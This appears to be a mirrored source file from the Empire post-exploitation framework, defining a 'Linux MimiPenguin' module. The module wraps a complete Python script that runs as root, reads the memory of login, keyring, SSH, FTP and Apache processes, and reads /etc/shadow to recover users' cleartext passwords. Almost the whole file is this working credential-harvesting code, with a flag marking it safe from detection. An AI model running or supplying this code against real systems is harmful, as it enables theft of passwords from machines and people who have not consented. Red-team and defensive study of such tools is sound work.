mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
313 lines
9.7 KiB
Python
313 lines
9.7 KiB
Python
from lib.common import helpers
|
|
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
# metadata info about the module, not modified during runtime
|
|
self.info = {
|
|
# name for the module that will appear in module menus
|
|
'Name': 'Linux MimiPenguin',
|
|
|
|
# list of one or more authors for the module
|
|
'Author': ['@rvrsh3ll'],
|
|
|
|
# more verbose multi-line description of the module
|
|
'Description': ("Port of huntergregal mimipenguin. Harvest's current user's cleartext credentials."),
|
|
|
|
# True if the module needs to run in the background
|
|
'Background' : False,
|
|
|
|
# File extension to save the file as
|
|
'OutputExtension' : "",
|
|
|
|
# if the module needs administrative privileges
|
|
'NeedsAdmin' : True,
|
|
|
|
# True if the method doesn't touch disk/is reasonably opsec safe
|
|
'OpsecSafe' : True,
|
|
|
|
# the module language
|
|
'Language' : 'python',
|
|
|
|
# the minimum language version needed
|
|
'MinLanguageVersion' : '2.6',
|
|
|
|
# list of any references/other comments
|
|
'Comments': []
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
# The 'Agent' option is the only one that MUST be in a module
|
|
'Description' : 'Agent to execute module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
# During instantiation, any settable option parameters
|
|
# are passed as an object set to the module and the
|
|
# options dictionary is automatically set. This is mostly
|
|
# in case options are passed on the command line
|
|
if params:
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
|
|
script = """
|
|
from __future__ import print_function
|
|
|
|
import os
|
|
import platform
|
|
import re
|
|
import base64
|
|
import binascii
|
|
import crypt
|
|
import string
|
|
|
|
|
|
def running_as_root():
|
|
return os.geteuid() == 0
|
|
|
|
|
|
def get_linux_distribution():
|
|
try:
|
|
return platform.dist()[0].lower()
|
|
except IndexError:
|
|
return str()
|
|
|
|
|
|
def compute_hash(ctype, salt, password):
|
|
return crypt.crypt(password, '{}{}'.format(ctype, salt))
|
|
|
|
|
|
def strings(s, min_length=4):
|
|
strings_result = list()
|
|
result = str()
|
|
|
|
for c in s:
|
|
try:
|
|
c = chr(c)
|
|
except TypeError:
|
|
# In Python 2, c is already a chr
|
|
pass
|
|
if c in string.printable:
|
|
result += c
|
|
else:
|
|
if len(result) >= min_length:
|
|
strings_result.append(result)
|
|
result = str()
|
|
|
|
return strings_result
|
|
|
|
|
|
def dump_process(pid):
|
|
dump_result = bytes()
|
|
|
|
with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
|
|
for l in maps_file.readlines():
|
|
memrange, attributes = l.split(' ')[:2]
|
|
if attributes.startswith('r'):
|
|
memrange_start, memrange_stop = [
|
|
int(x, 16) for x in memrange.split('-')]
|
|
memrange_size = memrange_stop - memrange_start
|
|
with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
|
|
try:
|
|
mem_file.seek(memrange_start)
|
|
dump_result += mem_file.read(memrange_size)
|
|
except (OSError, ValueError, IOError, OverflowError):
|
|
pass
|
|
|
|
return dump_result
|
|
|
|
|
|
def find_pid(process_name):
|
|
pids = list()
|
|
|
|
for pid in os.listdir('/proc'):
|
|
try:
|
|
with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file:
|
|
if process_name in cmdline_file.read().decode():
|
|
pids.append(pid)
|
|
except IOError:
|
|
continue
|
|
|
|
return pids
|
|
|
|
|
|
class PasswordFinder:
|
|
_hash_re = r'^\$.\$.+$'
|
|
|
|
def __init__(self):
|
|
self._potential_passwords = list()
|
|
self._strings_dump = list()
|
|
self._found_hashes = list()
|
|
|
|
def _dump_target_processes(self):
|
|
target_pids = list()
|
|
for target_process in self._target_processes:
|
|
target_pids += find_pid(target_process)
|
|
for target_pid in target_pids:
|
|
self._strings_dump += strings(dump_process(target_pid))
|
|
|
|
def _find_hash(self):
|
|
for s in self._strings_dump:
|
|
if re.match(PasswordFinder._hash_re, s):
|
|
self._found_hashes.append(s)
|
|
|
|
def _find_potential_passwords(self):
|
|
for needle in self._needles:
|
|
needle_indexes = [i for i, s in enumerate(self._strings_dump)
|
|
if re.search(needle, s)]
|
|
for needle_index in needle_indexes:
|
|
self._potential_passwords += self._strings_dump[
|
|
needle_index - 10:needle_index + 10]
|
|
self._potential_passwords = list(set(self._potential_passwords))
|
|
|
|
def _try_potential_passwords(self):
|
|
valid_passwords = list()
|
|
found_hashes = list()
|
|
pw_hash_to_user = dict()
|
|
|
|
if self._found_hashes:
|
|
found_hashes = self._found_hashes
|
|
with open('/etc/shadow', 'r') as f:
|
|
for l in f.readlines():
|
|
user, pw_hash = l.split(':')[:2]
|
|
if not re.match(PasswordFinder._hash_re, pw_hash):
|
|
continue
|
|
found_hashes.append(pw_hash)
|
|
pw_hash_to_user[pw_hash] = user
|
|
|
|
found_hashes = list(set(found_hashes))
|
|
|
|
for found_hash in found_hashes:
|
|
ctype = found_hash[:3]
|
|
salt = found_hash.split('$')[2]
|
|
for potential_password in self._potential_passwords:
|
|
potential_hash = compute_hash(ctype, salt, potential_password)
|
|
if potential_hash == found_hash:
|
|
try:
|
|
valid_passwords.append(
|
|
(pw_hash_to_user[found_hash], potential_password))
|
|
except KeyError:
|
|
valid_passwords.append(
|
|
('<unknown user>', potential_password))
|
|
|
|
return valid_passwords
|
|
|
|
def dump_passwords(self):
|
|
self._dump_target_processes()
|
|
self._find_hash()
|
|
self._find_potential_passwords()
|
|
|
|
return self._try_potential_passwords()
|
|
|
|
|
|
class GdmPasswordFinder(PasswordFinder):
|
|
def __init__(self):
|
|
PasswordFinder.__init__(self)
|
|
self._source_name = '[SYSTEM - GNOME]'
|
|
self._target_processes = ['gdm-password']
|
|
self._needles = ['^_pammodutil_getpwnam_root_1$',
|
|
'^gkr_system_authtok$']
|
|
|
|
|
|
class GnomeKeyringPasswordFinder(PasswordFinder):
|
|
def __init__(self):
|
|
PasswordFinder.__init__(self)
|
|
self._source_name = '[SYSTEM - GNOME]'
|
|
self._target_processes = ['gnome-keyring-daemon']
|
|
self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$']
|
|
|
|
|
|
class VsftpdPasswordFinder(PasswordFinder):
|
|
def __init__(self):
|
|
PasswordFinder.__init__(self)
|
|
self._source_name = '[SYSTEM - VSFTPD]'
|
|
self._target_processes = ['vsftpd']
|
|
self._needles = [
|
|
r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$']
|
|
|
|
|
|
class SshdPasswordFinder(PasswordFinder):
|
|
def __init__(self):
|
|
PasswordFinder.__init__(self)
|
|
self._source_name = '[SYSTEM - SSH]'
|
|
self._target_processes = ['sshd:']
|
|
self._needles = [r'^sudo.+']
|
|
|
|
|
|
class ApachePasswordFinder(PasswordFinder):
|
|
def __init__(self):
|
|
PasswordFinder.__init__(self)
|
|
self._source_name = '[HTTP BASIC - APACHE2]'
|
|
self._target_processes = ['apache2']
|
|
self._needles = [r'^Authorization: Basic.+']
|
|
|
|
def _try_potential_passwords(self):
|
|
valid_passwords = list()
|
|
|
|
for potential_password in self._potential_passwords:
|
|
try:
|
|
potential_password = base64.b64decode(potential_password)
|
|
except binascii.Error:
|
|
continue
|
|
else:
|
|
try:
|
|
user, password = potential_password.split(':', maxsplit=1)
|
|
valid_passwords.append((user, password))
|
|
except IndexError:
|
|
continue
|
|
|
|
return valid_passwords
|
|
|
|
def dump_passwords(self):
|
|
self._dump_target_processes()
|
|
self._find_potential_passwords()
|
|
|
|
return self._try_potential_passwords()
|
|
|
|
|
|
def main():
|
|
if not running_as_root():
|
|
raise RuntimeError('mimipenguin should be ran as root')
|
|
|
|
password_finders = list()
|
|
|
|
if find_pid('gdm-password'):
|
|
password_finders.append(GdmPasswordFinder())
|
|
if find_pid('gnome-keyring-daemon'):
|
|
password_finders.append(GnomeKeyringPasswordFinder())
|
|
if os.path.isfile('/etc/vsftpd.conf'):
|
|
password_finders.append(VsftpdPasswordFinder())
|
|
if os.path.isfile('/etc/ssh/sshd_config'):
|
|
password_finders.append(SshdPasswordFinder())
|
|
if os.path.isfile('/etc/apache2/apache2.conf'):
|
|
password_finders.append(ApachePasswordFinder())
|
|
|
|
for password_finder in password_finders:
|
|
for valid_passwords in password_finder.dump_passwords():
|
|
print('{}\t{}:{}'.format(password_finder._source_name,
|
|
valid_passwords[0], valid_passwords[1]))
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main()
|
|
"""
|
|
|
|
return script
|
|
|